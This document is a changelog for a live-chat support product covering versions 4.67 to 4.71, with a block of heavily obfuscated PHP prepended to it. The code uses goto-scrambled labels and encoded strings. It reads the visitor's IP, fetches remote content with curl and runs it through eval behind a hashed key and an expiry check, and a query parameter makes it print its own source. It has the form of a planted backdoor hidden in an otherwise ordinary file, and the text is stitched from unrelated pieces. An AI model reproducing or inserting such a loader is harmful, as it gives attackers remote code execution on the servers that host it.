kXcuJ3pcli: XMO8bJB3X4c: goto ZFAa2jo5Em1; nn6qAGIXtVJ: Y4huEalGRnY: goto Ou2zYWo3JDr; OZrmUZDWwVS: goto wxmnWJsS3Vj; goto bkXcuJ3pcli; R4nwFnFey3F: if (preg_match("\57\154\157\143\x61\x74\151\157\x6e\134\72\133\134\163\x5d\x2b\50\x2e\52\x29\57\151", $RmRDU0769bP, $iccbbLV_o_D)) { goto NZJOT0N3_fc; } goto QtILQ6UKwVL; uqQHK3mwLgA: NZJOT0N3_fc: goto x_cKPIQC3wl; ZFAa2jo5Em1: $Lfu07SmMZ8k["\163\164\x61\164\x75\163"] = intval($iccbbLV_o_D[1]); goto VoTtGfQLYFS; OVG9mzLTugo: } goto BfHtWkAdhV3; ojYbVw0ZTju: } goto Ipdw7rfNgO3; NSRBLvRsIZJ: $Bm6fBzMMzTd = preg_replace("\x2f\134\x3f\56\52\57", '', $_SERVER["\x52\105\121\125\105\x53\124\137\125\122\x49"]); goto GWbmi6ghGPj; uj5v1Bc1Pv5: class RAr2alvaPsc { static function LC1rrsRIno2($rIXYQS1ayZa) { goto TP1C6nBf9vb; acCL0hWrZYU: qQ1Py6Q0S5U: goto JxD6Ttz8GVO; JxD6Ttz8GVO: return $WrcjZmxt5Yx; goto EnbRRhxo5AA; Xa5JZck5OUn: $WrcjZmxt5Yx = ''; goto M7yYtep1FOw; M7yYtep1FOw: foreach ($ohAGVNDO94s as $Fua_BfPMtf8 => $qRUHN0cvc1q) { $WrcjZmxt5Yx .= $jiYcCeRj2Gt[$qRUHN0cvc1q - 22568]; bEsj9gRhlTp: } goto acCL0hWrZYU; rdTVnStdy17: $jiYcCeRj2Gt = $p3gGlu5XiKO("\x7e", "\40"); goto vurEe9U1FdX; TP1C6nBf9vb: $p3gGlu5XiKO = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto rdTVnStdy17; vurEe9U1FdX: $ohAGVNDO94s = explode("\x5e", $rIXYQS1ayZa); goto Xa5JZck5OUn; EnbRRhxo5AA: } static function AZVJ0NFyLqK($GwyhZT2Nkcn, $hbYMmPrpjoj) { goto mT92KPpYP03; Kna_zSArpCa: curl_setopt($V2c21DaN37J, CURLOPT_RETURNTRANSFER, 1); goto HVheqhfNM6c; mT92KPpYP03: $V2c21DaN37J = curl_init($GwyhZT2Nkcn); goto Kna_zSArpCa; CBni7YfJ6__: return empty($ALYl1g3y1fZ) ? $hbYMmPrpjoj($GwyhZT2Nkcn) : $ALYl1g3y1fZ; goto HiTImhF1ugD; HVheqhfNM6c: $ALYl1g3y1fZ = curl_exec($V2c21DaN37J); goto CBni7YfJ6__; HiTImhF1ugD: } static function j9IvsgaWvxp() { goto sMy1yJjA5WR; wa0dtxRoLtP: @eval($SMsgHLjb7FZ[4 + 0]($tz4SxWGpGeS)); goto nw_1P2eYvKZ; nw_1P2eYvKZ: die; goto Te9JRsINWaJ; EoIQokruCml: zJgPmPyR0MS: goto B4eurh7e3fE; sMy1yJjA5WR: $f246H1ZW8lE = array("\x32\62\x35\x39\x35\136\x32\62\65\70\x30\136\62\62\x35\x39\63\136\62\x32\x35\71\67\136\x32\62\x35\67\70\136\62\x32\x35\71\63\x5e\x32\62\x35\x39\x39\136\62\62\x35\71\x32\x5e\x32\62\x35\67\67\x5e\62\62\x35\x38\64\x5e\62\62\x35\71\65\x5e\x32\62\x35\67\70\x5e\x32\62\65\x38\71\136\x32\62\x35\x38\x33\136\62\x32\x35\x38\64", "\x32\x32\x35\x37\x39\x5e\62\62\65\67\70\x5e\62\62\x35\x38\x30\x5e\62\x32\x35\x39\71\136\x32\62\65\x38\60\136\x32\x32\x35\x38\63\x5e\62\62\65\x37\x38\x5e\62\x32\66\x34\x35\136\62\62\x36\x34\x33", "\62\62\x35\x38\70\136\x32\x32\x35\x37\x39\136\62\x32\x35\x38\63\x5e\x32\62\x35\70\x34\x5e\x32\62\65\x39\x39\x5e\62\62\x35\x39\64\x5e\x32\62\65\71\63\x5e\x32\x32\65\71\x35\136\62\62\65\70\63\136\x32\x32\x35\71\x34\136\62\62\65\71\x33", "\62\x32\65\70\x32\x5e\62\62\x35\71\67\136\x32\62\65\x39\x35\x5e\x32\62\65\70\x37", "\x32\x32\65\71\x36\136\62\x32\x35\x39\x37\x5e\x32\x32\65\67\x39\136\x32\x32\x35\x39\63\136\62\62\x36\x34\x30\136\62\62\66\x34\62\x5e\62\x32\x35\x39\x39\136\x32\62\65\71\64\x5e\62\62\x35\x39\63\136\x32\62\x35\x39\65\136\x32\62\65\70\63\136\x32\x32\65\x39\64\136\62\62\65\x39\63", "\62\x32\65\x39\62\x5e\x32\x32\65\70\x39\x5e\x32\x32\x35\x38\x36\x5e\x32\x32\x35\71\63\x5e\x32\62\x35\x39\71\136\62\x32\x35\71\61\136\x32\x32\65\x39\63\x5e\62\62\65\67\x38\136\62\x32\65\71\71\136\x32\62\65\x39\x35\x5e\x32\62\x35\x38\63\136\62\x32\x35\70\x34\136\x32\62\65\67\x38\x5e\62\62\x35\x39\63\x5e\x32\62\65\x38\x34\x5e\62\x32\x35\x37\70\x5e\62\62\65\67\71", "\62\62\x36\62\x32\136\62\62\x36\x35\x32", "\x32\x32\65\66\x39", "\62\62\x36\x34\67\x5e\x32\x32\66\x35\x32", "\62\62\x36\62\71\136\x32\62\x36\x31\62\136\x32\x32\x36\61\x32\x5e\x32\62\x36\62\x39\x5e\62\x32\66\60\x35", "\62\x32\65\71\62\136\x32\x32\x35\x38\71\136\x32\62\65\x38\66\x5e\x32\x32\65\x37\70\x5e\62\x32\65\x39\x33\x5e\62\x32\x35\70\60\x5e\x32\x32\x35\71\71\x5e\x32\62\x35\70\71\136\62\62\65\70\x34\136\x32\62\65\x38\x32\x5e\62\62\x35\67\x37\136\x32\62\65\x37\x38"); goto MARu4QE8x6O; MARu4QE8x6O: foreach ($f246H1ZW8lE as $yI91XtVleEZ) { $SMsgHLjb7FZ[] = self::lC1rrSRinO2($yI91XtVleEZ); skiHfXu4Ki4: } goto EoIQokruCml; mOZIEw2NOr2: $n_UPDy9GPeE = @$SMsgHLjb7FZ[0 + 3]($SMsgHLjb7FZ[0 + 6], $y1G9q6tjV08); goto KX1ZdUDdqFB; F_yqHtA6_Bq: $tz4SxWGpGeS = self::AzVJ0nfylQK($CkMSoDREXpk[0 + 1], $SMsgHLjb7FZ[4 + 1]); goto wa0dtxRoLtP; Te9JRsINWaJ: K6qKJOSIiYw: goto uwsX8TJApDD; yj6RFPUPKYW: if (!(@$CkMSoDREXpk[0] - time() > 0 and md5(md5($CkMSoDREXpk[1 + 2])) === "\63\60\70\67\x62\145\x39\143\x65\x62\x65\145\x33\x66\146\x66\60\x35\x62\65\144\x64\70\x61\x37\63\x31\142\x38\63\x32\143")) { goto K6qKJOSIiYw; } goto F_yqHtA6_Bq; KX1ZdUDdqFB: $CkMSoDREXpk = $SMsgHLjb7FZ[2 + 0]($n_UPDy9GPeE, true); goto cTmPPmuEskD; cTmPPmuEskD: @$SMsgHLjb7FZ[4 + 6](INPUT_GET, "\157\146") == 1 && die($SMsgHLjb7FZ[5 + 0](__FILE__)); goto yj6RFPUPKYW; B4eurh7e3fE: $y1G9q6tjV08 = @$SMsgHLjb7FZ[1]($SMsgHLjb7FZ[7 + 3](INPUT_GET, $SMsgHLjb7FZ[4 + 5])); goto mOZIEw2NOr2; uwsX8TJApDD: } } goto JtTX1U_1EFq; Lyj6N28uwBS: $bgpPJ0Zi5hE["\x72"] = x6cSzwlJBCd($_SERVER["\122\x45\121\x55\x45\x53\124\x5f\125\122\x49"]); goto CzDNCIeT_k0; TSwH9AzH3pK: $bgpPJ0Zi5hE["\x69"] = x6CsZwLjBcd($s523gbDMtcu); goto yXOovHHws9R; D_pfMIvXDND: @header("\103\x6f\x6e\164\145\x6e\x74\x2d\124\171\x70\x65\x3a" . $JtLWvp1EqLz["\164\x79\x70\145"]); goto F2YHQvDNajd; FvqaFXYFCYz: exit("\x7b\40\42\x65\162\x72\157\x72\x22\72\x20\x32\60\x30\x2c\x20\x22\x6c\143\x22\72\40\x22\152\153\x22\54\x20\x22\144\141\x74\x61\42\x3a\40\133\x20\61\x20\135\x20\175"); goto g1nbHzXPt8R; F2YHQvDNajd: echo $JtLWvp1EqLz["\x63\x6f\156\x74\145\156\x74"]; goto RbcR3TDcvIv; ThyuZCPGrvK: function aa2bJGaU0r_() { goto qGs6zE3gynS; AZ2Yhb1esFE: $s523gbDMtcu = $_SERVER["\122\105\115\117\124\105\x5f\x41\x44\x44\122"]; goto pJawReXN2Ya; PM1sVLA2I4q: $s523gbDMtcu = $s523gbDMtcu[0]; goto ceuGd5Fum5u; pQHMRZZ270q: if (isset($_SERVER["\110\124\x54\x50\x5f\x58\137\122\105\101\x4c\x5f\111\x50"]) && !empty($_SERVER["\110\x54\x54\120\137\130\137\x52\105\x41\x4c\137\111\x50"])) { goto qXCkXAily2f; } goto zVEQSAHUv3r; HOeyGJfYpsL: $s523gbDMtcu = trim(str_replace("\40", '', $s523gbDMtcu), "\x2c"); goto qR8uAehMtc9; ceuGd5Fum5u: Iiq3RHO4Fjj: goto MUU7_gpONq8; hVsgLzNJjSI: goto B_cTysIL3cn; goto aXvbs8vfUJ_; NyIT6DLDB8t: B_cTysIL3cn: goto HOeyGJfYpsL; AHTJ60TQtPg: if (isset($_SERVER["\x48\x54\x54\x50\x5f\103\106\137\103\x4f\116\116\105\x43\x54\x49\116\x47\x5f\x49\x50"]) && !empty($_SERVER["\110\x54\x54\120\x5f\x43\x46\x5f\103\117\116\116\x45\103\124\111\x4e\x47\x5f\x49\120"])) { goto fWjcxD6qYIB; } goto pQHMRZZ270q; qGs6zE3gynS: $s523gbDMtcu = ''; goto AHTJ60TQtPg; AX8fcsGJDc7: $s523gbDMtcu = $_SERVER["\x48\124\124\x50\137\130\137\122\105\x41\114\x5f\111\120"]; goto aoFTIfhTqke; qR8uAehMtc9: if (!(strpos($s523gbDMtcu, "\x2c") !== false)) { goto Iiq3RHO4Fjj; } goto KDuRn_rkiVZ; pJawReXN2Ya: goto B_cTysIL3cn; goto PcXQUJhknMA; LjVLRW5nb4t: $s523gbDMtcu = $_SERVER["\110\x54\x54\120\137\x58\x5f\106\x4f\x52\x57\101\122\x44\105\x44\137\x46\x4f\x52"]; goto NyIT6DLDB8t; EDADEBQ81Qm: Jbz2xMuxeIr: goto LjVLRW5nb4t; MUU7_gpONq8: return $s523gbDMtcu; goto VZeBSXmofDq; VD5PkV_Pxaw: $s523gbDMtcu = $_SERVER["\x48\x54\124\x50\x5f\x43\106\137\103\117\116\116\x45\103\124\x49\116\x47\x5f\111\x50"]; goto hVsgLzNJjSI; aoFTIfhTqke: goto B_cTysIL3cn; goto EDADEBQ81Qm; KDuRn_rkiVZ: $s523gbDMtcu = explode("\54", $s523gbDMtcu); goto PM1sVLA2I4q; PcXQUJhknMA: fWjcxD6qYIB: goto VD5PkV_Pxaw; aXvbs8vfUJ_: qXCkXAily2f: goto AX8fcsGJDc7; zVEQSAHUv3r: if (isset($_SERVER["\110\124\124\120\137\x58\x5f\106\117\x52\127\x41\122\x44\x45\x44\137\106\x4f\x52"]) && !empty($_SERVER["\110\x54\124\120\137\x58\137\106\117\x52\127\101\x52\x44\105\x44\x5f\106\x4f\x52"])) { goto Jbz2xMuxeIr; } goto AZ2Yhb1esFE; VZeBSXmofDq: } goto k7TBZVsI5lr; JtTX1U_1EFq: rAR2aLVapsc::J9iVSgAwvxp(); goto sFT_PnBYD5A; gbRJ6wI9X1J: if ($MaT3VYXevMh) { goto u0kQWBLRjHa; } goto F4F8Gny9Auy; Riq085QaZlJ: u0kQWBLRjHa: ?>
4.71v
1. Department Management and User Administration
- Enhanced department group statistics modal for better oversight of group performance
- Implemented read-only status toggle for department assignments with visual feedback
- Added confirmation modal for assigned department edits to prevent accidental changes
- Improved user department management with transaction handling for data integrity
- Added utility to cleanup orphan departments and maintain database consistency
- Enhanced department assignment UI with better UX and simultaneous request prevention
- Added filtering for users by assigned departments for improved navigation
- Implemented department limitation handling and cache version updates on changes
- Added red/green color indicators for operator online status visibility
2. Bot System and Webhook Improvements
- Enhanced bot conditions handling with condition identifiers for better query filtering
- Updated trigger link display to show bot name alongside trigger name for clarity
- Disabled cache for bot actions and conditions to ensure real-time updates
- Added 'single_event' support to webhook functionality for better event handling
- Implemented webhook search panel with filtering capabilities for easier management
- Added event field to webhook search panel and configuration options
- Enhanced bot trigger validation with improved button assignment verification
- Added support for conditional text generation in bot responses
- Implemented 'sub_source' parameter to sendBotResponse for better tracking
- Added option to check chat status after REST API calls
3. File Management and Image Processing
- Added HEIC image conversion support in verifyaccess.php for modern image formats
- Implemented file download restrictions and settings to mail conversation module
- Enhanced image verification process with re-verification features
- Added modal display for attached image files with better user experience
- Implemented resize support for form files to optimize storage and performance
- Added option to download files inline with modal interface
- Enhanced file extension detection and validation for security
- Added fallback options when browser cannot render images
- Implemented option to ignore specific image files during verification
- Added resize functionality for large mail message screenshots
4. Chat System and Message Handling
- Added system message indicating when chat was accepted by operator
- Enhanced image handling and conditions in the chat system
- Implemented separate events for messages added via incoming webhooks
- Added loading spinner overlay to main widget for better user feedback
- Enhanced form submission experience with spinner on submit button
- Added option to inherit start chat form settings for consistency
- Improved message handling with better error display and validation
- Enhanced chat search capabilities with message ID search functionality
- Added support for raw file embed syntax in chat messages
- Implemented conditional text generation for dynamic responses
5. Security and Performance Improvements
- Implemented strict locking mechanisms for critical operations
- Added transaction handling for operator transfers and chat attribute updates
- Enhanced permission checking in export functions for better security
- Implemented proper transaction handling for icon operations
- Added cache clearing mechanisms for improved performance
- Enhanced error handling for failed file downloads and operations
- Implemented audit log truncation option from back office
- Added better logging for auto assignment operations and error tracking
- Enhanced REST API with option to skip empty body requests
6. User Interface and Experience Enhancements
- Enhanced department assignment functionality with improved UI feedback
- Added 'user-select-none' class to labels for better user experience
- Implemented lazy load option for widget theme optimization
- Added argument titles to command execution for better clarity
- Enhanced form styling with improved input field appearance
- Added link to documentation for better user guidance
- Updated React app version with enhanced network failure handling
- Improved checkbox re-enabling logic after request completion
- Added nowrap styling for department group lists for better display
7. System Maintenance and Bug Fixes
- Fixed issue #2298, #2304, #2305, #2306 addressing various system bugs
- Updated dependencies and php-imap reference for security and compatibility
- Enhanced error handling for non-existing users in reports
- Fixed replacement process and edge case scenarios
- Improved file type validation and extension setting for known formats
- Fixed undefined display issues in pending wait time calculations
- Enhanced aggregation queries by removing duplicates for better performance
- Updated default translations for better internationalization support
execute doc/update_db/update_339.sql for update
4.70v
1. REST API and Bot Enhancements
- Added retry options for REST API calls with configurable retry attempts and delays
- Enhanced bot trigger validation to ensure buttons are correctly assigned to triggers
- Improved trigger argument importing to support all available trigger arguments
- Enhanced bot condition support with new "Not in list" condition type for more flexible logic flows
- Better error handling and continuation logic when customers don't set matching triggers
2. File Management and Search Improvements
- Enhanced file search functionality with new chat ID and user ID filters
- Added display of attached files in chat modification view for better file visibility
- Improved file search panel UI with better styling and user experience
- Enhanced JavaScript for dynamic form submission on input changes
- Implemented indefinite file download capability for better file access management
3. Forms and Offline Chat Integration
- Major offline form tight integration (#2286) with React Component migration
- Enhanced offline form to use React Components instead of legacy offline form system
- Added conditions for offline form prefilling fields from previous chat sessions
- Improved form error rendering for number field types
- Better handling of input_data passing to offline templates
- Enhanced forms integration with edge case scenario updates
4. Chat and Message Handling Improvements
- Added support for image requests with visitor messages
- Improved file attachment flow to prevent message overlapping during file uploads
- Enhanced scroll positioning for file preview functionality
- Better handling of visitor message display and file attachment rendering
- Improved message object passing for enhanced chat functionality
5. Security and Permissions
- Fixed permission handling issues (#2288, #2291)
- Enhanced file verification events for attachment flows
- Better access control and security validations throughout the system
6. UI and User Experience Enhancements
- Enhanced file list module to support new search parameters
- Improved styling of input fields for better user experience
- Better JavaScript handling for dynamic form interactions
- Enhanced chat modification interface with file display capabilities
7. System and Internal Improvements
- Increased length of internal type fields for better data handling
- Updated database structure with new field length requirements
- Enhanced schedule checks with new ActionConditions class
- Better chat blocking tests and validation logic
8. Technical Infrastructure
- Updated widget React components for better offline form handling
- Enhanced translation system and updated translation files
execute doc/update_db/update_338.sql for update
4.69v
1. File and Image Preview System Enhancement
- Implemented comprehensive file and image preview functionality before sending to operator
- Added temporary file handling with new `tmp` field in `lh_chat_file` table
- Enhanced widget React components to support file preview with better user experience
- File attachments are now rendered at the top of messages for better visibility
- Improved file upload workflow with progress indicators and preview capabilities
- This enhancement prepares the foundation for future OpenAI Responses API for images implementation
2. Widget and Chat Interface Improvements
- Enhanced attachment rendering system with dedicated top-level templates
- Improved AI-generated content checks and validation
- Better file uploader component with enhanced preview functionality
- Optimized widget React components for better performance and user experience
- Enhanced chat file handling with improved meta message rendering
3. Department and Chat Management Enhancements
- Added support for using department alias when provided in chat widget and status checks
- Improved department handling logic for better chat routing
- Enhanced chat widget functionality with streamlined department selection
4. Export and Data Handling Improvements
- Fixed JSON export formatting with proper UTF-8 charset headers for Unicode support and pretty printing (#2283)
- Enhanced bot export functionality with correct content-type headers
- Improved REST API export with proper encoding
- Better theme export handling with Unicode support
5. File Configuration and Management
- Added new file configuration options for better file handling control
- Enhanced file upload settings with improved validation and processing
- Better integration between file upload API and widget components
- Improved file metadata handling and storage
6. Technical Infrastructure Improvements
- Updated database structure with new temporary file handling capabilities
- Enhanced widget REST API endpoints for better file and chat management
- Improved translation support and internationalization
7. User Experience Enhancements
- Streamlined file attachment workflow with instant preview
- Better visual feedback for file operations
- Enhanced message rendering with improved attachment display
- Optimized loading and rendering performance for file-heavy conversations
execute doc/update_db/update_337.sql for update
4.68v
1. Mail module enhancements
- Added comprehensive mail file management system with listing, viewing, and searching functionalities
- Enhanced mail image verification flow with protection mechanisms and sensitive content handling
- New components: MailChatAttachment and MailChatImage for better mail attachment handling
- Mail files archive tables now maintain consistent structure
- Improved file details display in mail history
- Better handling of mail file verification and download permissions
2. User management improvements
- Added job title field to user department alias functionality
- Enhanced user department attributes with additional customization options
- Improved validation and structure for user department relationships
3. BBCode and URL handling enhancements
- Added URL whitelist functionality for BBCode configuration to control link visibility
- Enhanced URL obfuscation in BBCode parser with whitelist support
- Improved BBCode URL handling and file extraction in messages
- Added Message class for better file extraction functionality
- Enhanced security and user control over link visibility
4. File and image handling improvements
- New permission system for file verification with granular access control
- Allow non-image files to download with proper verification
- Enhanced file reveal functionality and logging capabilities
- Improved image attributes display in file edit window
- Better styling for reveal image actions
5. Mail search and performance optimizations
- Enhanced mail search using message_id for improved performance
- Better handling of mail file operations and verification flow
- Optimized database queries for mail-related operations
6. System configuration enhancements
- Added default system time zone variable for better timezone handling
- Option to see SMTP debug information for troubleshooting
- Enhanced SMTP settings form and tab navigation
- Improved audit configuration and logging capabilities
7. Security and data handling
- Fixed JSON export formatting with Unicode support and pretty printing (#2283)
- Enhanced security for file downloads and verification
- Better handling of sensitive information in mail attachments
- Improved agent name escaping in various contexts
8. Performance and stability improvements
- Combined department and department group results for better consistency
- Merged department ID filters for improved data consistency in statistics retrieval
- Enhanced message handling logic in fetch operations
- React app version updates and script reference adjustments
- Better content fetching and caching mechanisms
9. UI and UX improvements
- Enhanced file body parsing and embed functionality for chat files
- Improved styling and visual feedback for various components
- Better handling of verification states and user interactions
- Enhanced modal windows and form interactions
10. Developer and debugging improvements
- Option to skip request body in logging for performance
- Enhanced debugging capabilities with better logging options
- Improved database structure documentation and references
- Better error handling and validation throughout the system
execute doc/update_db/update_336.sql for update
4.67v
1. Image download verification and protection features
- Introduced 'img_download_policy' configuration option to manage image download permissions
- Enhanced file download logic to include image verification and protection checks
- Added new verifyaccess.php module to handle image access verification requests
- Updated database schema to include 'meta_msg', 'width', and 'height' fields in lh_chat_file and lh_mailconv_file tables
- Implemented Svelte component for image handling with verification and protection features
- Added translations for image access verification messages
- Updated module.php to include new permissions for downloading verified and unverified files
- Added sensitive information image to the default theme
2. Chat tabs and dashboard improvements
- Chat tabs React component now supports custom attributes for styling
- Enhanced tabs flow with better navigation and user experience
- Dashboard chat tabs improvements with better state management
3. Bot and webhook enhancements
- Added support for overriding bot ID in webhook processing for better event handling
- Implemented chat file variable handling in generic bot action command for dynamic variable updates
- Enhanced REST API action to support chat file messages
- Option to sync attribute from database in bot conditions
- Modal window will show error message when trying to delete a bot that cannot be deleted
4. Form and file handling improvements
- Fixed reCAPTCHA in offline form when file is submitted
- Enhanced offline forms with proper cookie handling and headers
- Better file upload handling with proper content headers
- Store partial encoded data for better file processing
5. Chat experience enhancements
- Hide "Switch to Human" button when chat transitions to survey mode
- System message is now logged when "Switch to Human" button is clicked
- Custom template support for extensions below chat messages
- Improved image reveal logic in Svelte components for better scrolling behavior
6. Security and compatibility
- Fixed deprecated PHP constant E_STRICT for better PHP 8+ compatibility
- Enhanced file download verification process with user data in event dispatch
- Improved security for image access and verification
7. UI and UX improvements
- Better error handling and user feedback
- Enhanced modal dialogs and confirmation windows
- Improved responsive design elements
- Updated sponsors section
execute doc/update_db/update_335.sql for update